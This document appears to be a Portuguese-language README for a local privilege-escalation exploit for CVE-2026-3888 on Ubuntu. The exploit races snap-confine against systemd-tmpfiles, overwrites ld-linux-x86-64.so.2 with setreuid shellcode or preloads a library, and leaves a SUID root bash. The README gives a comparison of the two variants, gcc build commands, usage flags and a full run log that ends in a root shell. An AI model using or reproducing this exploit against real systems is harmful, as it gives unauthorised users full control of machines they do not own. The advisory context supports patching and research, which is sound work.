
Exploit de escalada de privilégios local para CVE-2026-3888, direcionado a snap-confine e systemd-tmpfiles no Ubuntu, fornecendo variantes SUID e de capabilities para obter acesso root.
Escalação local de privilégios de usuário sem privilégios para root completo no Ubuntu Desktop 24.04+ explorando uma condição de corrida TOCTOU entre snap-confine e systemd-tmpfiles. Duas variantes são fornecidas: SUID e Capabilities.
CVSS: 7.8 (Alto) | Aviso: Qualys | Correção: snapd 2.74.2, 17 de março de 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap alvo | firefox | snap-store |
| Imitar alvo | /usr/lib/x86_64-linux-gnu (~285 entradas) | /var/lib (~17 entradas) |
| Vetor de exploração | Sobrescrever ld-linux-x86-64.so.2 com shellcode | Controlar user-fstab + ld.so.preload |
| Formato do payload | ELF estático com syscalls brutas | Biblioteca compartilhada com __attribute__((constructor)) |
| Gatilho de root | SUID snap-confine carrega linker dinâmico envenenado | SUID su em /tmp/.snap pré-carrega .so |
| Requisito de cgroup | Qualquer nome snap.* | Correspondência exata: snap.snap-store.hook.configure |
Limpeza do .snap | 30 dias | 10 dias |
| Fuga do sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles exclui o diretório de imitação .snap obsoleto em /tmp (expiração de 30 dias)snap-confine via backpressure de socket AF_UNIX para vencer a corrida de forma confiável durante a sequência de bind-mount de imitaçãold-linux-x86-64.so.2 é substituído por shellcode que chama setreuid(0,0) + execvesnap-confine aciona o shellcode com privilégios de root/var/snap/firefox/common/ para escapar do sandbox| Arquivo | Descrição |
|---|---|
exploit_suid.c | Exploit unificado de binário único — todas as 7 fases em um orquestrador baseado em fork |
librootshell_suid.c | Payload — ELF mínimo que substitui ld-linux-x86-64.so.2 via syscalls brutas x86_64 |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Ambos devem ser compilados (ou compilados de forma cruzada) para Linux x86_64. exploit é vinculado estaticamente para executar dentro do sandbox do snap sem dependências de bibliotecas. librootshell.so usa -nostdlib porque contém apenas syscalls brutas — sem libc.
./exploit <librootshell.so> [-d] [-s]
| Sinalizador | Descrição |
|---|---|
-d | Mostrar saída de depuração do snap-confine (modo verboso) |
-s | Pular a espera de limpeza do .snap (requer senha de root) |
# Execução normal
./exploit ./librootshell.so
# Modo de depuração
./exploit ./librootshell.so -d
# Tentar novamente após falha
./exploit ./librootshell.so -s
O exploit entra no sandbox, aguarda o systemd-tmpfiles excluir .snap (até 10 dias no Ubuntu 25.10 padrão e até 30 dias no Ubuntu 24.04 padrão) e então executa a corrida automaticamente. Em caso de sucesso, fornece um shell de root.
snap-confine deve ser SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer ativobusybox disponível no alvo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Fase 1] Entrando no sandbox do Firefox...
[+] PID do shell interno: 3122
[Fase 2] Aguardando exclusão do .snap...
[*] Verificando (até 30 dias no Ubuntu padrão).
[*] Dica: use -s para pular.
[+] .snap excluído.
[Fase 3] Destruindo namespace de montagem em cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destruído.
[Fase 4] Configurando e executando a corrida...
[*] Diretório de trabalho: /proc/3122/cwd
[*] Construindo .snap e .exchange...
[*] 285 entradas copiadas para o diretório de exchange
[*] Iniciando corrida...
[*] Monitorando snap-confine (PID filho 3543)...
[!] GATILHO — trocando diretórios...
[+] TROCA CONCLUÍDA — corrida vencida!
[*] ld-linux no namespace: user:user 755
[+] Namespace envenenado PID: 3543
[Fase 5] Injetando payload no namespace envenenado...
[+] ld-linux de propriedade do uid 1000 (atacante). Corrida confirmada.
[*] Instalando busybox...
[*] Escrevendo script de fuga → /tmp/sh
[*] Sobrescrevendo ld-linux-x86-64.so.2...
[+] Payload injetado.
[Fase 6] Acionando root via SUID snap-confine...
[*] snap-confine → snap-confine (gatilho SUID)
[*] Status de saída: 0
[Fase 7] Verificando...
[+] bash SUID root: /var/snap/firefox/common/bash (modo 4755)
[*] Limpando processos em segundo plano...
================================================================
SHELL DE ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)